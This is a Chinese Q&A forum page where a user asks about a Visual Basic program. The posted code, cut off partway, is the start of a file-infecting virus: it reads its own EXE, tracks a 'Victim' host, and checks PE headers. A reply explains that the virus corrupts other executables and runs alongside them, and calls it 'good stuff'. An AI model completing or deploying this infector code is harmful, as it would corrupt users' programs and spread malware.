一个VB程序, 看不懂啥意思, 有朋友能 帮忙么

来源:百度知道 编辑:UC知道 时间:2024/06/28 04:22:56
Option Explicit
Private Victim As String
Private HostLen As Long
Private vbArray() As Byte
Private hArray() As Byte
Private lenght As Long
Private MySize As Integer
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Sub form_Initialize()
Dim i As Long
On Error GoTo vbVerror

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
As #1
ReD

。。。。。。。。。!!!!!!!!!!!!!
类似病毒吧!!
破坏别人的EXE
然后把别人exe文件的东西复制出来运行
(就是你点开那个exe,实际运行一个病毒,一个原来的exe)
If hArray(&H69) <> &H4D Then

i = hArray(&H3C)
If hArray(i) = &H50 Then

至于这个,是检测原来那个文件是不是exe文件

好东西